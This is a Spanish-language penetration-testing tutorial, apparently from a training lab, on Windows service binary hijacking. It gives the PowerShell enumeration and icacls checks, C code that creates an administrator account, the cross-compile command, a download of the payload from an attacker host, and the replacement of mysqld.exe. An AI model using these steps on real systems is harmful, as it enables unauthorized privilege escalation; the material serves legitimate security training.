El Service Binary Hijacking, se puede abusar de cualquier binario que se encuentre fuera de la ruta C:\Windows\System32, trata sobre reemplazar un binario de algún servicio en ejecución, que sea ejecutado por un usuario que nos interese pivotar, y que tengamos permiso en el directorio que se encuentre para reemplazarlo e introducir nuestro binario malicioso.
En primer lugar, desde powershell listamos los servicios en ejecución
PS C:\\Users\\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Name State PathName
---- ----- --------
Apache2.4 Running "C:\\xampp\\apache\\bin\\httpd.exe" -k runservice
Appinfo Running C:\\Windows\\system32\\svchost.exe -k netsvcs -p
AppXSvc Running C:\\Windows\\system32\\svchost.exe -k wsappx -p
AudioEndpointBuilder Running C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p
Audiosrv Running C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted -p
BFE Running C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetworkFirewall -p
BITS Running C:\\Windows\\System32\\svchost.exe -k netsvcs -p
BrokerInfrastructure Running C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p
...
mysql Running C:\\xampp\\mysql\\bin\\mysqld.exe --defaults-file=c:\\xampp\\mysql\\bin\\my.ini mysql
En este caso hemos encontrado dos servicios que su se encuentran fuero de C:\Windows\System32, por lo que podemos comprobar si tenemos permisos (F), en el siguiente paso, con icacls lo comprobamos
PS C:\\Users\\dave> icacls "C:\\xampp\\apache\\bin\\httpd.exe"
C:\\xampp\\apache\\bin\\httpd.exe BUILTIN\\Administrators:(F)
NT AUTHORITY\\SYSTEM:(F)
BUILTIN\\Users:(RX)
NT AUTHORITY\\Authenticated Users:(RX)
Successfully processed 1 files; Failed processing 0 files
Aquí no sería posible porque vemos que tenemos permisos de ectura y ejecución (RX), observamos el siguiente servicio
PS C:\\Users\\dave> icacls "C:\\xampp\\mysql\\bin\\mysqld.exe"
C:\\xampp\\mysql\\bin\\mysqld.exe NT AUTHORITY\\SYSTEM:(F)
BUILTIN\\Administrators:(F)
BUILTIN\\Users:(F)
Successfully processed 1 files; Failed processing 0 files
Vemos que tenemos Full access (F), por lo que procedemos a compilar un binario malicioso, que se encarge de crear un usuario nuevo y añadirlo al grupo administrators
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
Lo compilamos de la siguiente manera
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Lo transferimos desde nuestra máquina a la máquina vícitma y lo suplantamos por el binario original de mysql.exe, en este caso
PS C:\\Users\\dave> iwr -uri <http://192.168.119.3/adduser.exe> -Outfile adduser.exe
PS C:\\Users\\dave> move C:\\xampp\\mysql\\bin\\mysqld.exe mysqld.exe
PS C:\\Users\\dave> move .\\adduser.exe C:\\xampp\\mysql\\bin\\mysqld.exe
Comprobamos si tenemos permisos de parar el servicio con net stop
PS C:\\Users\\dave> net stop mysql
System error 5 has occurred.
Access is denied.
En este caso así no es posible reiniciar el servicio, pero hubieramos sido capaces, sería tan sencillo como hacer un net stop mysql y un net start mysql.
Como no es el caso, procedemos a comprobar si se ejecuta automaticamente al iniciar el sistema
PS C:\\Users\\dave> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
Name StartMode
---- ---------
mysql Auto
Es el caso, ahora comprobamos que tengamos permisos para reiniciar con shutdown
PS C:\\Users\\dave> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled